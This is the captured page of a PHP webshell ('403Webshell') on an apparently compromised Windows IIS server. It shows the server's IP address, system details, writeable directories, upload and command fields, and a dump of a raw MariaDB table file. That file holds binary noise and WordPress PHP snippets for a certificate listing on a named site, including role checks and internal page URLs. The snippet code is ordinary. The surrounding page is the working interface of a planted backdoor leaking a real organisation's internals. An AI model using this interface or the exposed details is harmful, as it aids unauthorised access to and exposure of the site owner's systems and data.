403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.59
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/MariaDB 10.6/data/wmcert/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/MariaDB 10.6/data/wmcert/wp_xyz_ips_short_code.ibd
���������R�/EE@��������������������������&&�����������������������R�/"}���������a�z�Ea�z󞏒���������R�/E���������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i��������������������������������������������������������������������������������������������������������������������������R�/�.�o���������T��E�E]���E�E2 infimumsupremum�^��TableE&j�[xyz-ips snippet="Table"]����&#�����Recent-Certificate<?php
if (!defined('ABSPATH')) exit;

global $wpdb;

$table = $wpdb->prefix . 'kaya_certificates';

$rows = $wpdb->get_results("
    SELECT *
    FROM {$table}
    WHERE is_active = 'T'
      AND is_current = 'T'
    ORDER BY id DESC
    LIMIT 5
", ARRAY_A);

echo '
<style>
.recent-certificates-table-wrap{
    width:100%;
    background:#111111;
    border:1px solid rgba(255,255,255,0.08);
    border-top:0.22rem solid #e31b23;
    border-radius:1rem;
    padding:1.25rem 1.5rem;
    box-shadow:0 0.75rem 2rem rgba(0,0,0,0.25);
    overflow:hidden;
    box-sizing:border-box;
}

.recent-certificates-table-wrap .recent-certificates-heading{
    margin:0 0 1rem;
    color:#ffffff;
    font-size:1.35rem;
    font-weight:800;
    line-height:1.2;
    letter-spacing:0.01em;
    position:relative;
    padding-left:0.9rem;
}

.recent-certificates-table-wrap .recent-certificates-heading:before{
    content:"";
    position:absolute;
    left:0;
    top:0.1rem;
    width:0.28rem;
    height:1.2rem;
    background:#e31b23;
    border-radius:999rem;
}

.recent-certificates-table-wrap .certificate-table-scroll{
    width:100%;
    overflow-x:auto;
    -webkit-overflow-scrolling:touch;
    background:#111111;
}

.recent-certificates-table-wrap .certificate-table{
    width:100%;
    min-width:48rem;
    border-collapse:separate;
    border-spacing:0;
    background:#111111;
}

.recent-certificates-table-wrap .certificate-table thead th{
    background:#0f0f0f;
    color:#ffffff;
    text-align:left;
    font-size:0.8rem;
    font-weight:700;
    padding:1rem 0.9rem;
    border-bottom:1px solid rgba(227,27,35,0.22);
    text-transform:uppercase;
    letter-spacing:0.04em;
    white-space:nowrap;
}

.recent-certificates-table-wrap .certificate-table tbody td{
    padding:1rem 0.9rem;
    color:#f2f2f2;
    font-size:0.88rem;
    border-bottom:1px solid rgba(255,255,255,0.06);
    vertical-align:middle;
    background:transparent;
    line-height:1.55;
    text-align:left;
}

.recent-certificates-table-wrap .certificate-table tbody tr{
    background:#151515;
    transition:background-color .18s ease;
}

.recent-certificates-table-wrap .certificate-table tbody tr:nth-child(even){
    background:#191919;
}

.recent-certificates-table-wrap .certificate-table tbody tr:last-child td{
    border-bottom:none;
}

.recent-certificates-table-wrap .certificate-table tbody tr.kaya-row-clickable:hover{
    background:#202020 !important;
}

.recent-certificates-table-wrap .certificate-table tbody tr.kaya-row-clickable:hover td{
    color:#ffffff !important;
}

.recent-certificates-table-wrap .certificate-table tbody tr.kaya-row-clickable:hover td:first-child{
    box-shadow:inset 0.2rem 0 0 #e31b23;
}

.recent-certificates-table-wrap .certificate-table tbody tr.kaya-row-expired{
    background:#221617;
}

.recent-certificates-table-wrap .kaya-serial{
    display:block;
    font-weight:700;
    font-size:0.96rem;
    color:#ffffff;
    word-break:break-word;
    line-height:1.5;
}

.recent-certificates-table-wrap .kaya-category{
    display:block;
    font-size:0.88rem;
    font-weight:600;
    color:#d2d2d2;
    word-break:break-word;
    line-height:1.5;
}

.recent-certificates-table-wrap .kaya-date{
    color:#d8d8d8;
    white-space:nowrap;
}

.recent-certificates-table-wrap .kaya-status{
    display:inline-flex;
    align-items:center;
    justify-content:center;
    min-width:5.8rem;
    padding:0.4rem 0.8rem;
    border-radius:999rem;
    font-size:0.74rem;
    font-weight:700;
    letter-spacing:0.03em;
    text-transform:uppercase;
    border:1px solid transparent;
}

.recent-certificates-table-wrap .kaya-status.is-active{
    background:rgba(46,204,113,0.12);
    color:#86efac;
    border-color:rgba(46,204,113,0.24);
}

.recent-certificates-table-wrap .kaya-status.is-expired{
    background:rgba(227,27,35,0.14);
    color:#fca5a5;
    border-color:rgba(227,27,35,0.28);
}

.recent-certificates-empty{
    width:100%;
    background:#111111;
    border:1px solid rgba(255,255,255,0.08);
    border-top:0.22rem solid #e31b23;
    border-radius:1rem;
    padding:1.25rem 1.5rem;
    color:#ffffff;
    box-shadow:0 0.75rem 2rem rgba(0,0,0,0.25);
    box-sizing:border-box;
}

@media (max-width: 48em){
    .recent-certificates-table-wrap{
        padding:1rem;
        border-radius:0.85rem;
    }

    .recent-certificates-table-wrap .recent-certificates-heading{
        font-size:1.15rem;
        margin-bottom:0.85rem;
    }

    .recent-certificates-table-wrap .certificate-table{
        min-width:42rem;
    }

    .recent-certificates-table-wrap .certificate-table thead th,
    .recent-certificates-table-wrap .certificate-table tbody td{
        padding:0.82rem 0.72rem;
        font-size:0.8rem;
    }

    .recent-certificates-table-wrap .kaya-status{
        min-width:5rem;
        padding:0.38rem 0.7rem;
        font-size:0.72rem;
    }
}
</style>
';

if (!empty($rows)) {

    echo '<div class="recent-certificates recent-certificates-table-wrap">';
    echo '<h3 class="recent-certificates-heading">Recent Certificates</h3>';
    echo '<div class="certificate-table-scroll">';
    echo '<table class="certificate-table">';
    echo '<thead>
            <tr>
                <th>Serial Number</th>
                <th>Category</th>
                <th>Issue Date</th>
                <th>Expired Date</th>
                <th>Status</th>
            </tr>
          </thead>';
    echo '<tbody>';

    foreach ($rows as $row) {

        $serial  = isset($row['serial_number']) ? $row['serial_number'] : '';
        $issue   = isset($row['today_date']) ? $row['today_date'] : '';
        $expiry  = isset($row['expired_date']) ? $row['expired_date'] : '';
        $post_id = isset($row['post_id']) ? (int) $row['post_id'] : 0;

        $cat_name = !empty($row['category_name'])
            ? $row['category_name']
            : (!empty($row['category_slug']) ? $row['category_slug'] : 'Uncategorized');

        $status = 'Active';
        $status_class = 'is-active';
        $row_class = 'kaya-row-active';

        if ($expiry && strtotime($expiry) && strtotime($expiry) < time()) {
            $status = 'Expired';
            $status_class = 'is-expired';
            $row_class = 'kaya-row-expired';
        }

        $post_url = ($post_id > 0) ? get_permalink($post_id) : '';

        $classes = $row_class;
        if (!empty($post_url)) {
            $classes .= ' kaya-row-clickable';
        }

        echo '<tr'
            . ' class="' . esc_attr($classes) . '"'
            . (!empty($post_url) ? ' onclick="window.location.href=\'' . esc_url($post_url) . '\'"' : '')
            . (!empty($post_url) ? ' title="View certificate"' : '')
            . ' style="' . (!empty($post_url) ? 'cursor:pointer;' : '') . '">';

        echo '<td><span class="kaya-serial">' . esc_html($serial) . '</span></td>';
        echo '<td><span class="kaya-category">' . esc_html($cat_name) . '</span></td>';
        echo '<td><span class="kaya-date">' . esc_html($issue) . '</span></td>';
        echo '<td><span class="kaya-date">' . esc_html($expiry) . '</span></td>';
        echo '<td><span class="kaya-status ' . esc_attr($status_class) . '">' . esc_html($status) . '</span></td>';

        echo '</tr>';
    }

    echo '</tbody></table>';
    echo '</div>';
    echo '</div>';

} else {
    echo '<div class="recent-certificates-empty">No certificates found.</div>';
}
?>[xyz-ips snippet="Recent-Certificate"]����pc�T�������������R�w
E?�<?php

if (!defined('ABSPATH')) exit;

global $wpdb;

$table = $wpdb->prefix . 'kaya_certificates';
$current_user = wp_get_current_user();

/*
|--------------------------------------------------------------------------
| CONFIG
|--------------------------------------------------------------------------
*/
$kaya_debug_columns = false;

$is_user01 = ($current_user && $current_user->user_login === 'User01');
$roles = (array) $current_user->roles;

// Can use Edit / Renewal
$can_manage_actions =
    in_array('administrator', $roles, true) ||
    in_array('editor', $roles, true);

// Can soft delete (editor + User01)
$can_soft_delete =
    $is_user01 ||
    in_array('editor', $roles, true);

// Only User01 can activate / see all rows
$can_activate = $is_user01;
$can_view_all_rows = $is_user01;

/*
|--------------------------------------------------------------------------
| PAGE URL CONFIG
|--------------------------------------------------------------------------
| Change these to your real pages
*/
$kaya_edit_base_url  = 'https://cert.weldmaster.my/?page_id=388';
$kaya_renew_base_url = 'https://cert.weldmaster.my/?page_id=402';

/*
|--------------------------------------------------------------------------
| SEARCH PARAM
|--------------------------------------------------------------------------
*/
$current_search_value = isset($_GET['kaya_search'])
    ? sanitize_text_field(wp_unslash($_GET['kaya_search']))
    : '';

/*
|--------------------------------------------------------------------------
| Activate / Deactivate row (permissions based on action)
|--------------------------------------------------------------------------
*/
if (
    isset($_GET['kaya_toggle_id'], $_GET['kaya_toggle_to'], $_GET['_wpnonce']) &&
    wp_verify_nonce($_GET['_wpnonce'], 'kaya_toggle_row')
) {
    $toggle_id = intval($_GET['kaya_toggle_id']);
    $toggle_to = sanitize_text_field(wp_unslash($_GET['kaya_toggle_to']));
    $toggle_to = ($toggle_to === 'F') ? 'F' : 'T';

    $is_delete_request = ($toggle_to === 'F');
    $is_activate_request = ($toggle_to === 'T');

    $allowed =
        ($is_delete_request && $can_soft_delete) ||
        ($is_activate_request && $can_activate);

    if (!$allowed) {
        echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#fff1f2;border:1px solid #fecaca;color:#991b1b;border-radius:10px;font-weight:600;">Permission denied.</div>';
    } elseif ($toggle_id > 0) {

        $target_row = $wpdb->get_row(
            $wpdb->prepare("SELECT * FROM {$table} WHERE id = %d", $toggle_id),
            ARRAY_A
        );

        if ($target_row) {

            $updated = $wpdb->update(
                $table,
                ['is_active' => $toggle_to],
                ['id' => $toggle_id],
                ['%s'],
                ['%d']
            );

            $post_ok = true;
            $post_id = isset($target_row['post_id']) ? intval($target_row['post_id']) : 0;

            if ($post_id > 0 && get_post($post_id)) {
                $new_post_status = ($toggle_to === 'F') ? 'draft' : 'publish';

                $post_result = wp_update_post([
                    'ID'          => $post_id,
                    'post_status' => $new_post_status,
                ], true);

                if (is_wp_error($post_result)) {
                    $post_ok = false;
                }
            }

            if ($updated !== false && $post_ok) {
                $msg = ($toggle_to === 'F')
                    ? 'Record deleted successfully.'
                    : 'Row and related post status updated successfully.';

                echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#ecfdf5;border:1px solid #bbf7d0;color:#166534;border-radius:10px;font-weight:600;">' . esc_html($msg) . '</div>';
            } elseif ($updated !== false && !$post_ok) {
                echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#fff7ed;border:1px solid #fdba74;color:#9a3412;border-radius:10px;font-weight:600;">Row status updated, but related post status could not be changed.</div>';
            } else {
                echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#fff1f2;border:1px solid #fecaca;color:#991b1b;border-radius:10px;font-weight:600;">Failed to update row status.</div>';
            }

        } else {
            echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#fff1f2;border:1px solid #fecaca;color:#991b1b;border-radius:10px;font-weight:600;">Record not found.</div>';
        }
    }
}

/*
|--------------------------------------------------------------------------
| Query rows
|--------------------------------------------------------------------------
*/
if ($can_view_all_rows) {
    $rows = $wpdb->get_results("
        SELECT *
        FROM {$table}
        ORDER BY is_current DESC, id DESC
    ", ARRAY_A);
} else {
    $rows = $wpdb->get_results("
        SELECT *
        FROM {$table}
        WHERE is_active = 'T'
          AND is_current = 'T'
        ORDER BY id DESC
    ", ARRAY_A);
}

echo '
<style>
.kaya-cert-wrap{
    width:100%;
    max-width:none;
    margin:0;
    display:flex;
    flex-direction:column;
    box-sizing:border-box;
}

.kaya-cert-card{
    width:100%;
    display:flex;
    flex-direction:column;
    border-radius:1rem;
    overflow:hidden;
    border:1px solid rgba(255,255,255,0.08);
    border-top:0.22rem solid #e31b23;
    background:#111111;
    box-shadow:0 0.75rem 2rem rgba(0,0,0,0.25);
    box-sizing:border-box;
}

.kaya-cert-head{
    padding:1.25rem 1.5rem;
    background:#0c0c0c;
    border-bottom:1px solid rgba(255,255,255,0.06);
}

.kaya-cert-title{
    margin:0;
    font-size:1.4rem;
    font-weight:800;
    color:#ffffff;
    line-height:1.2;
    letter-spacing:0.01em;
    position:relative;
    padding-left:0.9rem;
}

.kaya-cert-title::before{
    content:"";
    position:absolute;
    left:0;
    top:0.1rem;
    width:0.28rem;
    height:1.2rem;
    border-radius:999rem;
    background:#e31b23;
}

.kaya-cert-toolbar{
    padding:1rem 1.25rem;
    background:#141414;
    border-bottom:1px solid rgba(255,255,255,0.06);
    display:flex;
    align-items:center;
    justify-content:space-between;
    gap:1rem;
    flex-wrap:wrap;
}

.kaya-cert-search-wrap{
    flex:1 1 26rem;
    max-width:35rem;
    position:relative;
}

.kaya-cert-search{
    width:100%;
    height:2.75rem;
    border-radius:0.75rem;
    border:1px solid rgba(255,255,255,0.12);
    padding:0 1rem;
    background:#f5f5f5;
    font-size:0.9rem;
    color:#111111;
    outline:none;
    transition:border-color .18s ease, box-shadow .18s ease, background .18s ease;
}

.kaya-cert-search::placeholder{
    color:#7a7a7a;
}

.kaya-cert-search:focus{
    border-color:rgba(227,27,35,0.7);
    box-shadow:0 0 0 0.22rem rgba(227,27,35,0.14);
    background:#ffffff;
}

.kaya-cert-note{
    display:inline-flex;
    align-items:center;
    gap:0.4rem;
    font-size:0.8rem;
    color:#cfcfcf;
    font-weight:600;
    white-space:nowrap;
    margin-left:auto;
}

.kaya-cert-note::before{
    content:"↕";
    font-size:0.8rem;
    color:#e31b23;
}

.kaya-cert-tablewrap{
    width:100%;
    overflow:auto;
    box-sizing:border-box;
    background:#111111;
}

.kaya-cert-table{
    width:100%;
    min-width:70rem;
    border-collapse:separate;
    border-spacing:0;
    background:#111111;
}

.kaya-cert-table thead th{
    position:sticky;
    top:0;
    z-index:2;
    background:#0f0f0f;
    color:#ffffff;
    font-weight:700;
    font-size:0.8rem;
    padding:1rem 0.9rem;
    border-bottom:1px solid rgba(227,27,35,0.22);
    text-align:center;
    cursor:pointer;
    user-select:none;
    text-transform:uppercase;
    letter-spacing:0.04em;
    white-space:nowrap;
}

.kaya-cert-table tbody td{
    padding:1rem 0.9rem;
    border-bottom:1px solid rgba(255,255,255,0.06);
    font-size:0.88rem;
    text-align:center;
    vertical-align:middle;
    color:#f2f2f2;
    background:transparent;
    line-height:1.55;
}

.kaya-cert-table thead th:nth-child(2),
.kaya-cert-table thead th:nth-child(3),
.kaya-cert-table tbody td:nth-child(2),
.kaya-cert-table tbody td:nth-child(3){
    text-align:left;
}

.kaya-cert-table tbody tr{
    background:#151515;
    transition:background-color .18s ease;
}

.kaya-cert-table tbody tr:nth-child(even){
    background:#191919;
}

.kaya-cert-table tbody tr:hover{
    background:#202020;
}

.kaya-row-inactive{
    background:#1a1a1a !important;
    opacity:0.78;
}

.kaya-row-not-current{
    background:#221617 !important;
}

.kaya-serial{
    display:block;
    font-weight:700;
    font-size:0.96rem;
    color:#ffffff;
    word-break:break-word;
    line-height:1.5;
}

.kaya-category{
    display:block;
    font-size:0.88rem;
    font-weight:600;
    color:#d2d2d2;
    word-break:break-word;
    line-height:1.5;
}

.kaya-cert-table tbody td:nth-child(4),
.kaya-cert-table tbody td:nth-child(5){
    white-space:nowrap;
}

.kaya-status-wrap{
    display:flex;
    flex-direction:column;
    align-items:center;
    justify-content:center;
    gap:0.35rem;
}

.kaya-status-badge{
    display:inline-flex;
    align-items:center;
    justify-content:center;
    min-width:5.8rem;
    padding:0.4rem 0.8rem;
    border-radius:999rem;
    font-size:0.74rem;
    font-weight:700;
    text-transform:uppercase;
    letter-spacing:0.03em;
    border:1px solid transparent;
}

.kaya-status-active{
    background:rgba(46,204,113,0.12);
    color:#86efac;
    border-color:rgba(46,204,113,0.24);
}

.kaya-status-expired{
    background:rgba(227,27,35,0.14);
    color:#fca5a5;
    border-color:rgba(227,27,35,0.28);
}

.kaya-status-inactive{
    background:rgba(255,255,255,0.08);
    color:#d1d5db;
    border-color:rgba(255,255,255,0.12);
}

.kaya-status-old{
    background:rgba(245,158,11,0.12);
    color:#fdba74;
    border-color:rgba(245,158,11,0.22);
}

.kaya-countdown{
    font-size:0.78rem;
    color:#a8a8a8;
    line-height:1.35;
}

.kaya-action-wrap{
    display:flex;
    align-items:center;
    justify-content:center;
    gap:0.5rem;
    flex-wrap:wrap;
}

.kaya-action-btn,
.kaya-pdf-btn{
    display:inline-flex;
    align-items:center;
    justify-content:center;
    min-height:2.1rem;
    min-width:5.5rem;
    padding:0.45rem 0.85rem;
    border-radius:0.7rem;
    text-decoration:none !important;
    font-size:0.76rem;
    font-weight:700;
    border:1px solid transparent;
    transition:background .18s ease, border-color .18s ease, color .18s ease, box-shadow .18s ease;
    box-shadow:none !important;
    outline:none;
}

.kaya-action-btn:hover,
.kaya-action-btn:focus,
.kaya-action-btn:active,
.kaya-pdf-btn:hover,
.kaya-pdf-btn:focus,
.kaya-pdf-btn:active{
    text-decoration:none !important;
    box-shadow:none !important;
    outline:none;
}

.kaya-btn-deactivate,
.kaya-btn-deactivate:link,
.kaya-btn-deactivate:visited{
    background:rgba(227,27,35,0.12);
    color:#f87171 !important;
    border-color:rgba(227,27,35,0.22);
}

.kaya-btn-deactivate:hover,
.kaya-btn-deactivate:focus,
.kaya-btn-deactivate:active{
    background:rgba(227,27,35,0.18);
    color:#fca5a5 !important;
    border-color:rgba(227,27,35,0.28);
}

.kaya-btn-activate,
.kaya-btn-activate:link,
.kaya-btn-activate:visited{
    background:rgba(34,197,94,0.12);
    color:#86efac !important;
    border-color:rgba(34,197,94,0.22);
}

.kaya-btn-activate:hover,
.kaya-btn-activate:focus,
.kaya-btn-activate:active{
    background:rgba(34,197,94,0.18);
    color:#bbf7d0 !important;
    border-color:rgba(34,197,94,0.28);
}

.kaya-btn-edit,
.kaya-btn-edit:link,
.kaya-btn-edit:visited{
    background:#f3f4f6;
    color:#111111 !important;
    border-color:#f3f4f6;
}

.kaya-btn-edit:hover,
.kaya-btn-edit:focus,
.kaya-btn-edit:active{
    background:#ffffff;
    color:#111111 !important;
    border-color:#ffffff;
}

.kaya-btn-renew,
.kaya-btn-renew:link,
.kaya-btn-renew:visited{
    background:#e31b23;
    color:#ffffff !important;
    border-color:#e31b23;
}

.kaya-btn-renew:hover,
.kaya-btn-renew:focus,
.kaya-btn-renew:active{
    background:#c9151d;
    color:#ffffff !important;
    border-color:#c9151d;
}

.kaya-cert-table a.kaya-pdf-btn,
.kaya-cert-table a.kaya-pdf-btn:link,
.kaya-cert-table a.kaya-pdf-btn:visited{
    background:#101010 !important;
    color:#ffffff !important;
    border:1px solid rgba(255,255,255,0.14) !important;
    text-decoration:none !important;
    box-shadow:none !important;
}

.kaya-cert-table a.kaya-pdf-btn:hover,
.kaya-cert-table a.kaya-pdf-btn:focus,
.kaya-cert-table a.kaya-pdf-btn:active{
    background:#1a1a1a !important;
    color:#ffffff !important;
    border-color:rgba(227,27,35,0.35) !important;
    text-decoration:none !important;
    box-shadow:none !important;
    outline:none !important;
}

.kaya-empty{
    padding:1.5rem;
    text-align:center;
    color:#cfcfcf;
}

@media (max-width: 48em){
    .kaya-cert-head{
        padding:1rem;
    }

    .kaya-cert-toolbar{
        padding:0.85rem 1rem;
    }

    .kaya-cert-title{
        font-size:1.15rem;
    }

    .kaya-cert-search-wrap{
        flex:1 1 100%;
        max-width:100%;
    }

    .kaya-cert-note{
        width:100%;
        margin-left:0;
    }

    .kaya-cert-table{
        min-width:62rem;
    }

    .kaya-cert-table thead th,
    .kaya-cert-table tbody td{
        padding:0.82rem 0.72rem;
        font-size:0.8rem;
    }

    .kaya-action-btn,
    .kaya-pdf-btn{
        min-width:5rem;
        font-size:0.72rem;
    }
}
</style>
';

if ($kaya_debug_columns) {
    $available_columns = [];
    $sample_row = [];

    if (!empty($rows) && is_array($rows[0])) {
        $available_columns = array_keys($rows[0]);
        $sample_row = $rows[0];
    }

    echo '<div class="kaya-debug-box">';
    echo '<h3>Debug: Available Table Columns</h3>';
    echo '<div class="kaya-debug-grid">';

    echo '<div><span class="kaya-debug-label">Table Name:</span><span class="kaya-debug-code">' . esc_html($table) . '</span></div>';
    echo '<div><span class="kaya-debug-label">Total Rows:</span><span class="kaya-debug-code">' . esc_html(count($rows)) . '</span></div>';
    echo '<div><span class="kaya-debug-label">Current View:</span><span class="kaya-debug-code">' . ($can_view_all_rows ? 'User01 sees all rows' : 'Normal users see only active + current rows') . '</span></div>';
    echo '<div><span class="kaya-debug-label">Available Columns:</span><span class="kaya-debug-code">';
    echo !empty($available_columns) ? esc_html(implode(', ', $available_columns)) : 'No rows found.';
    echo '</span></div>';

    echo '<div><span class="kaya-debug-label">Sample First Row:</span><span class="kaya-debug-code">';
    if (!empty($sample_row)) {
        foreach ($sample_row as $col => $val) {
            echo esc_html($col . ' = ' . (is_scalar($val) || $val === null ? (string)$val : wp_json_encode($val))) . "\n";
        }
    } else {
        echo 'No sample row available.';
    }
    echo '</span></div>';

    echo '</div>';
    echo '</div>';
}

echo '<div class="kaya-cert-wrap">';
echo '<div class="kaya-cert-card">';

echo '<div class="kaya-cert-head">';
echo '<h2 class="kaya-cert-title">Certificates</h2>';
echo '</div>';

echo '<div class="kaya-cert-toolbar">';
echo '<div class="kaya-cert-search-wrap">';
echo '<input type="text" id="kayaCertSearch" class="kaya-cert-search" placeholder="Search serial number, category, status..." value="' . esc_attr($current_search_value) . '">';
echo '</div>';
echo '<div class="kaya-cert-note">Click column headers to sort</div>';
echo '</div>';

echo '<div class="kaya-cert-tablewrap">';
echo '<table c�R�w��A�����������m
E?�<?php

if (!defined('ABSPATH')) exit;

global $wpdb;

$table = $wpdb->prefix . 'kaya_certificates';
$current_user = wp_get_current_user();

/*
|--------------------------------------------------------------------------
| CONFIG
|--------------------------------------------------------------------------
*/
$kaya_debug_columns = false;

$is_user01 = ($current_user && $current_user->user_login === 'User01');
$roles = (array) $current_user->roles;

// Can use Edit / Renewal
$can_manage_actions =
    in_array('administrator', $roles, true) ||
    in_array('editor', $roles, true);

// Can soft delete (editor + User01)
$can_soft_delete =
    $is_user01 ||
    in_array('editor', $roles, true);

// Only User01 can activate / see all rows
$can_activate = $is_user01;
$can_view_all_rows = $is_user01;

/*
|--------------------------------------------------------------------------
| PAGE URL CONFIG
|--------------------------------------------------------------------------
| Change these to your real pages
*/
$kaya_edit_base_url  = 'https://cert.weldmaster.my/?page_id=388';
$kaya_renew_base_url = 'https://cert.weldmaster.my/?page_id=402';

/*
|--------------------------------------------------------------------------
| SEARCH PARAM
|--------------------------------------------------------------------------
*/
$current_search_value = isset($_GET['kaya_search'])
    ? sanitize_text_field(wp_unslash($_GET['kaya_search']))
    : '';

/*
|--------------------------------------------------------------------------
| Activate / Deactivate row (permissions based on action)
|--------------------------------------------------------------------------
*/
if (
    isset($_GET['kaya_toggle_id'], $_GET['kaya_toggle_to'], $_GET['_wpnonce']) &&
    wp_verify_nonce($_GET['_wpnonce'], 'kaya_toggle_row')
) {
    $toggle_id = intval($_GET['kaya_toggle_id']);
    $toggle_to = sanitize_text_field(wp_unslash($_GET['kaya_toggle_to']));
    $toggle_to = ($toggle_to === 'F') ? 'F' : 'T';

    $is_delete_request = ($toggle_to === 'F');
    $is_activate_request = ($toggle_to === 'T');

    $allowed =
        ($is_delete_request && $can_soft_delete) ||
        ($is_activate_request && $can_activate);

    if (!$allowed) {
        echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#fff1f2;border:1px solid #fecaca;color:#991b1b;border-radius:10px;font-weight:600;">Permission denied.</div>';
    } elseif ($toggle_id > 0) {

        $target_row = $wpdb->get_row(
            $wpdb->prepare("SELECT * FROM {$table} WHERE id = %d", $toggle_id),
            ARRAY_A
        );

        if ($target_row) {

            $updated = $wpdb->update(
                $table,
                ['is_active' => $toggle_to],
                ['id' => $toggle_id],
                ['%s'],
                ['%d']
            );

            $post_ok = true;
            $post_id = isset($target_row['post_id']) ? intval($target_row['post_id']) : 0;

            if ($post_id > 0 && get_post($post_id)) {
                $new_post_status = ($toggle_to === 'F') ? 'draft' : 'publish';

                $post_result = wp_update_post([
                    'ID'          => $post_id,
                    'post_status' => $new_post_status,
                ], true);

                if (is_wp_error($post_result)) {
                    $post_ok = false;
                }
            }

            if ($updated !== false && $post_ok) {
                $msg = ($toggle_to === 'F')
                    ? 'Record deleted successfully.'
                    : 'Row and related post status updated successfully.';

                echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#ecfdf5;border:1px solid #bbf7d0;color:#166534;border-radius:10px;font-weight:600;">' . esc_html($msg) . '</div>';
            } elseif ($updated !== false && !$post_ok) {
                echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#fff7ed;border:1px solid #fdba74;color:#9a3412;border-radius:10px;font-weight:600;">Row status updated, but related post status could not be changed.</div>';
            } else {
                echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#fff1f2;border:1px solid #fecaca;color:#991b1b;border-radius:10px;font-weight:600;">Failed to update row status.</div>';
            }

        } else {
            echo '<div style="max-width:1200px;margin:15px auto 0;padding:12px;background:#fff1f2;border:1px solid #fecaca;color:#991b1b;border-radius:10px;font-weight:600;">Record not found.</div>';
        }
    }
}

/*
|--------------------------------------------------------------------------
| Query rows
|--------------------------------------------------------------------------
*/
if ($can_view_all_rows) {
    $rows = $wpdb->get_results("
        SELECT *
        FROM {$table}
        ORDER BY is_current DESC, id DESC
    ", ARRAY_A);
} else {
    $rows = $wpdb->get_results("
        SELECT *
        FROM {$table}
        WHERE is_active = 'T'
          AND is_current = 'T'
        ORDER BY id DESC
    ", ARRAY_A);
}

echo '
<style>
.kaya-cert-wrap{
    width:100%;
    max-width:none;
    margin:0;
    height:auto;
    min-height:0;
    display:flex;
    flex-direction:column;
    box-sizing:border-box;
}

.kaya-cert-card{
    width:100%;
    max-width:100%;
    display:flex;
    flex-direction:column;
    height:auto;
    min-height:0;
    border-radius:18px;
    overflow:hidden;
    border:1px solid #e2e8f0;
    background:#ffffff;
    box-sizing:border-box;
}

.kaya-debug-box{
    max-width:1200px;
    margin:0 auto 14px;
    border:1px solid #fcd34d;
    background:#fffbeb;
    border-radius:14px;
    padding:14px 16px;
    color:#78350f;
    font-size:13px;
    line-height:1.6;
}
.kaya-debug-box h3{
    margin:0 0 10px;
    font-size:15px;
    font-weight:800;
    color:#92400e;
}
.kaya-debug-grid{
    display:grid;
    gap:10px;
}
.kaya-debug-label{
    font-weight:700;
    color:#92400e;
}
.kaya-debug-code{
    display:block;
    margin-top:4px;
    padding:10px 12px;
    background:#fff;
    border:1px solid #fde68a;
    border-radius:10px;
    font-family:Consolas, Monaco, monospace;
    font-size:12px;
    color:#7c2d12;
    white-space:pre-wrap;
    word-break:break-word;
}
.kaya-cert-head{
    padding:20px 24px;
    background:linear-gradient(135deg,#1e293b,#0f172a);
}
.kaya-cert-title{
    margin:0;
    font-size:22px;
    font-weight:800;
    color:#ffffff;
}
.kaya-cert-toolbar{
    padding:12px 20px;
    background:#f8fafc;
    border-bottom:1px solid #e2e8f0;
    display:flex;
    align-items:center;
    justify-content:space-between;
    gap:16px;
    flex-wrap:wrap;
}
.kaya-cert-search-wrap{
    flex:1 1 420px;
    max-width:560px;
    position:relative;
}
.kaya-cert-search{
    width:100%;
    height:40px;
    border-radius:12px;
    border:1px solid #cbd5e1;
    padding:0 14px;
    background:#ffffff;
    font-size:13px;
    color:#0f172a;
    outline:none;
    transition:border-color .18s ease, box-shadow .18s ease, background .18s ease;
}
.kaya-cert-search::placeholder{
    color:#64748b;
}
.kaya-cert-search:focus{
    border-color:#3b82f6;
    box-shadow:0 0 0 4px rgba(59,130,246,.12);
    background:#fff;
}
.kaya-cert-note{
    display:inline-flex;
    align-items:center;
    gap:6px;
    font-size:12px;
    color:#64748b;
    font-weight:600;
    white-space:nowrap;
    margin-left:auto;
}
.kaya-cert-note::before{
    content:"↕";
    font-size:12px;
    color:#94a3b8;
}
.kaya-cert-tablewrap{
    width:100%;
    max-width:100%;
    flex:1 1 auto;
    overflow:auto;
    box-sizing:border-box;
}
.kaya-cert-table{
    width:100%;
    border-collapse:collapse;
}
.kaya-cert-table thead th{
    position:sticky;
    top:0;
    z-index:2;
    background:#f1f5f9;
    font-weight:700;
    font-size:13px;
    padding:12px;
    border-bottom:1px solid #e2e8f0;
    text-align:center;
    cursor:pointer;
    user-select:none;
}
.kaya-cert-table tbody td{
    padding:10px;
    border-bottom:1px solid #e2e8f0;
    font-size:13px;
    text-align:center;
    vertical-align:middle;
}
.kaya-cert-table tbody tr:nth-child(even){
    background:#f8fafc;
}
.kaya-row-inactive{
    opacity:.68;
    background:#f8fafc !important;
}
.kaya-row-not-current{
    background:#fff7ed !important;
}
.kaya-serial{
    font-weight:700;
    font-size:14px;
}
.kaya-category{
    font-size:12px;
    font-weight:600;
}
.kaya-status-wrap{
    display:inline-flex;
    align-items:center;
    justify-content:center;
    gap:8px;
    white-space:nowrap;
    flex-wrap:wrap;
}
.kaya-status-badge{
    padding:4px 10px;
    border-radius:999px;
    font-size:12px;
    font-weight:700;
}
.kaya-status-active{
    background:#dcfce7;
    color:#15803d;
}
.kaya-status-expired{
    background:#fee2e2;
    color:#dc2626;
}
.kaya-status-inactive{
    background:#e5e7eb;
    color:#374151;
}
.kaya-status-old{
    background:#fef3c7;
    color:#92400e;
}
.kaya-countdown{
    font-size:12px;
    color:#64748b;
}
.kaya-action-wrap{
    display:flex;
    align-items:center;
    justify-content:center;
    gap:8px;
    flex-wrap:wrap;
}
.kaya-action-btn{
    display:inline-flex;
    align-items:center;
    justify-content:center;
